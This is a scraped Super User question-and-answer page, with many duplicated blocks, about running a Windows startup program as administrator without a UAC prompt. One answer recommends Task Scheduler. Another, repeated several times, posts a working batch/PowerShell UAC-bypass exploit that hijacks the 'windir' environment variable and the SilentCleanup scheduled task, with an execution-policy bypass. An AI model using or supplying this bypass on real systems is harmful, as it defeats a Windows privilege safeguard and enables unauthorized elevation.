Tjyylli

RIP Packet Format

Does Prince Arnaud cause someone holding the Princess to lose?

Why I cannot instantiate a class whose constructor is private in a friend class?

What helicopter has the most rotor blades?

What is ls Largest Number Formed by only moving two sticks in 508?

In search of the origins of term censor, I hit a dead end stuck with the greek term, to censor, λογοκρίνω

What's called a person who works as someone who puts products on shelves in stores?

Why did Europeans not widely domesticate foxes?

Philosophers who were composers?

What happened to Viserion in Season 7?

Has a Nobel Peace laureate ever been accused of war crimes?

Are these square matrices always diagonalisable?

Why isPrototypeOf() returns false?

What were wait-states, and why was it only an issue for PCs?

Why isn't everyone flabbergasted about Bran's "gift"?

Stretch a Tikz tree

What is the purpose of the side handle on a hand ("eggbeater") drill?

What is the definining line between a helicopter and a drone a person can ride in?

"Working on a knee"

What is the evidence that custom checks in Northern Ireland are going to result in violence?

Raising a bilingual kid. When should we introduce the majority language?

Married in secret, can marital status in passport be changed at a later date?

Is there an efficient way for synchronising audio events real-time with LEDs using an MCU?

When I export an AI 300x60 art board it saves with bigger dimensions

StartUp Program UAC Bypass

.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty{ height:90px;width:728px;box-sizing:border-box;
}

0

I'm currently using a Windows 10 Desktop home computer and I would like to add a program to the startup folder "C:Users%username"AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
However I would like to run the program as administrator, is there a way to make it run a system/admin without prompting UAC everytime the computer loads up? A batch/vbs script is preferable.

uac

share|improve this question

asked 11 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

add a comment | 

0

I'm currently using a Windows 10 Desktop home computer and I would like to add a program to the startup folder "C:Users%username"AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
However I would like to run the program as administrator, is there a way to make it run a system/admin without prompting UAC everytime the computer loads up? A batch/vbs script is preferable.

uac

share|improve this question

asked 11 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

add a comment | 

I'm currently using a Windows 10 Desktop home computer and I would like to add a program to the startup folder "C:Users%username"AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
However I would like to run the program as administrator, is there a way to make it run a system/admin without prompting UAC everytime the computer loads up? A batch/vbs script is preferable.

uac

share|improve this question

asked 11 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

share|improve this question

asked 11 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

share|improve this question

asked 11 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

asked 11 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

asked 11 hours ago

FrostyFrosty

62

2 Answers
2

active

oldest

votes

0

The only way to do this is to create a Task using Task Scheduler.

From there you can make it run as the user, interactive, with highest privileges, and there won't be a UAC prompt.

The only problem with this approach is, that it will consume a bit extra CPU for as long as the program is running, as Task Scheduler is running at the same time monitoring the output of the program, even if there isn't any.

You may want to look into why this program requires UAC access in the first place, and see if you can avoid it. For example, if the program runs from a location where the user does not have write access to the folder, it will want to run as Administrator too.

share|improve this answer

answered 11 hours ago

LPChipLPChip

37k55588

• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  Is it still not possible even with an external program?
  
  – Frosty
  11 hours ago
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  Don't you think, that if it were possible, Microsoft would have a huge security flaw on their hands? Nope, using a scheduled task is already sort of breaking the rules, but in Microsoft's defense, creating the task also requires UAC, but then executing does not have to be, so the security is somewhat reduced.
  
  – LPChip
  11 hours ago
  
  
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  I have posted working code on my computer, feel free to test it for your self :)
  
  – Frosty
  10 hours ago
  

  
  
  
  

add a comment | 

0

I have found a script of the web, modified it so it works as a batch.

if EXIST %temp%cmd.ps1 (del %temp%cmd.ps1 /s /q)

echo if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) { >> %temp%cmd.ps1

(

echo cmd /c start cmd.exe

echo } else {

echo     $registryPath = "HKCU:Environment"

echo    $Name = "windir"

echo    $Value = "powershell -ep bypass -w h $PSCommandPath;#"

echo    Set-ItemProperty -Path $registryPath -Name $name -Value $Value

echo    schtasks /run /tn MicrosoftWindowsDiskCleanupSilentCleanup /I 

echo    Remove-ItemProperty -Path $registryPath -Name $name

echo }

)>> %temp%cmd.ps1



Powershell.exe -exec bypass -File  %temp%cmd.ps1

///////////
The script creates a powershell file with a uac and execpol bypass, sorry the code is a little bit botched.
Source: https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/

Note: If your not administrator powershell seems to spaz out and reopens its self in a loop

share|improve this answer

edited 10 hours ago

answered 10 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

add a comment | 

Your Answer

StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "3"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);

StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});

function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});


}
});

Frosty is a new contributor. Be nice, and check out our Code of Conduct.

draft saved

draft discarded

Sign up or log in

StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});

Sign up using Google

Sign up using Facebook

Sign up using Email and Password

Post as a guest

Name

Email

Required, but never shown

StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fsuperuser.com%2fquestions%2f1428757%2fstartup-program-uac-bypass%23new-answer', 'question_page');
}
);

Post as a guest

Name

Email

Required, but never shown

0

The only way to do this is to create a Task using Task Scheduler.

From there you can make it run as the user, interactive, with highest privileges, and there won't be a UAC prompt.

The only problem with this approach is, that it will consume a bit extra CPU for as long as the program is running, as Task Scheduler is running at the same time monitoring the output of the program, even if there isn't any.

You may want to look into why this program requires UAC access in the first place, and see if you can avoid it. For example, if the program runs from a location where the user does not have write access to the folder, it will want to run as Administrator too.

share|improve this answer

answered 11 hours ago

LPChipLPChip

37k55588

• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  Is it still not possible even with an external program?
  
  – Frosty
  11 hours ago
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  Don't you think, that if it were possible, Microsoft would have a huge security flaw on their hands? Nope, using a scheduled task is already sort of breaking the rules, but in Microsoft's defense, creating the task also requires UAC, but then executing does not have to be, so the security is somewhat reduced.
  
  – LPChip
  11 hours ago
  
  
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  I have posted working code on my computer, feel free to test it for your self :)
  
  – Frosty
  10 hours ago
  

  
  
  
  

add a comment | 

0

The only way to do this is to create a Task using Task Scheduler.

From there you can make it run as the user, interactive, with highest privileges, and there won't be a UAC prompt.

The only problem with this approach is, that it will consume a bit extra CPU for as long as the program is running, as Task Scheduler is running at the same time monitoring the output of the program, even if there isn't any.

You may want to look into why this program requires UAC access in the first place, and see if you can avoid it. For example, if the program runs from a location where the user does not have write access to the folder, it will want to run as Administrator too.

share|improve this answer

answered 11 hours ago

LPChipLPChip

37k55588

• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  Is it still not possible even with an external program?
  
  – Frosty
  11 hours ago
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  Don't you think, that if it were possible, Microsoft would have a huge security flaw on their hands? Nope, using a scheduled task is already sort of breaking the rules, but in Microsoft's defense, creating the task also requires UAC, but then executing does not have to be, so the security is somewhat reduced.
  
  – LPChip
  11 hours ago
  
  
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  I have posted working code on my computer, feel free to test it for your self :)
  
  – Frosty
  10 hours ago
  

  
  
  
  

add a comment | 

The only way to do this is to create a Task using Task Scheduler.

From there you can make it run as the user, interactive, with highest privileges, and there won't be a UAC prompt.

The only problem with this approach is, that it will consume a bit extra CPU for as long as the program is running, as Task Scheduler is running at the same time monitoring the output of the program, even if there isn't any.

You may want to look into why this program requires UAC access in the first place, and see if you can avoid it. For example, if the program runs from a location where the user does not have write access to the folder, it will want to run as Administrator too.

share|improve this answer

answered 11 hours ago

LPChipLPChip

37k55588

share|improve this answer

answered 11 hours ago

LPChipLPChip

37k55588

answered 11 hours ago

LPChipLPChip

37k55588

answered 11 hours ago

LPChipLPChip

37k55588

0

I have found a script of the web, modified it so it works as a batch.

if EXIST %temp%cmd.ps1 (del %temp%cmd.ps1 /s /q)

echo if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) { >> %temp%cmd.ps1

(

echo cmd /c start cmd.exe

echo } else {

echo     $registryPath = "HKCU:Environment"

echo    $Name = "windir"

echo    $Value = "powershell -ep bypass -w h $PSCommandPath;#"

echo    Set-ItemProperty -Path $registryPath -Name $name -Value $Value

echo    schtasks /run /tn MicrosoftWindowsDiskCleanupSilentCleanup /I 

echo    Remove-ItemProperty -Path $registryPath -Name $name

echo }

)>> %temp%cmd.ps1



Powershell.exe -exec bypass -File  %temp%cmd.ps1

///////////
The script creates a powershell file with a uac and execpol bypass, sorry the code is a little bit botched.
Source: https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/

Note: If your not administrator powershell seems to spaz out and reopens its self in a loop

share|improve this answer

edited 10 hours ago

answered 10 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

add a comment | 

0

I have found a script of the web, modified it so it works as a batch.

if EXIST %temp%cmd.ps1 (del %temp%cmd.ps1 /s /q)

echo if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) { >> %temp%cmd.ps1

(

echo cmd /c start cmd.exe

echo } else {

echo     $registryPath = "HKCU:Environment"

echo    $Name = "windir"

echo    $Value = "powershell -ep bypass -w h $PSCommandPath;#"

echo    Set-ItemProperty -Path $registryPath -Name $name -Value $Value

echo    schtasks /run /tn MicrosoftWindowsDiskCleanupSilentCleanup /I 

echo    Remove-ItemProperty -Path $registryPath -Name $name

echo }

)>> %temp%cmd.ps1



Powershell.exe -exec bypass -File  %temp%cmd.ps1

///////////
The script creates a powershell file with a uac and execpol bypass, sorry the code is a little bit botched.
Source: https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/

Note: If your not administrator powershell seems to spaz out and reopens its self in a loop

share|improve this answer

edited 10 hours ago

answered 10 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

add a comment | 

I have found a script of the web, modified it so it works as a batch.

if EXIST %temp%cmd.ps1 (del %temp%cmd.ps1 /s /q)

echo if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) { >> %temp%cmd.ps1

(

echo cmd /c start cmd.exe

echo } else {

echo     $registryPath = "HKCU:Environment"

echo    $Name = "windir"

echo    $Value = "powershell -ep bypass -w h $PSCommandPath;#"

echo    Set-ItemProperty -Path $registryPath -Name $name -Value $Value

echo    schtasks /run /tn MicrosoftWindowsDiskCleanupSilentCleanup /I 

echo    Remove-ItemProperty -Path $registryPath -Name $name

echo }

)>> %temp%cmd.ps1



Powershell.exe -exec bypass -File  %temp%cmd.ps1

///////////
The script creates a powershell file with a uac and execpol bypass, sorry the code is a little bit botched.
Source: https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/

Note: If your not administrator powershell seems to spaz out and reopens its self in a loop

share|improve this answer

edited 10 hours ago

answered 10 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

if EXIST %temp%cmd.ps1 (del %temp%cmd.ps1 /s /q)

echo if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) { >> %temp%cmd.ps1

(

echo cmd /c start cmd.exe

echo } else {

echo     $registryPath = "HKCU:Environment"

echo    $Name = "windir"

echo    $Value = "powershell -ep bypass -w h $PSCommandPath;#"

echo    Set-ItemProperty -Path $registryPath -Name $name -Value $Value

echo    schtasks /run /tn MicrosoftWindowsDiskCleanupSilentCleanup /I 

echo    Remove-ItemProperty -Path $registryPath -Name $name

echo }

)>> %temp%cmd.ps1



Powershell.exe -exec bypass -File  %temp%cmd.ps1

share|improve this answer

edited 10 hours ago

answered 10 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

answered 10 hours ago

FrostyFrosty

62

New contributor

Frosty is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

answered 10 hours ago

FrostyFrosty

62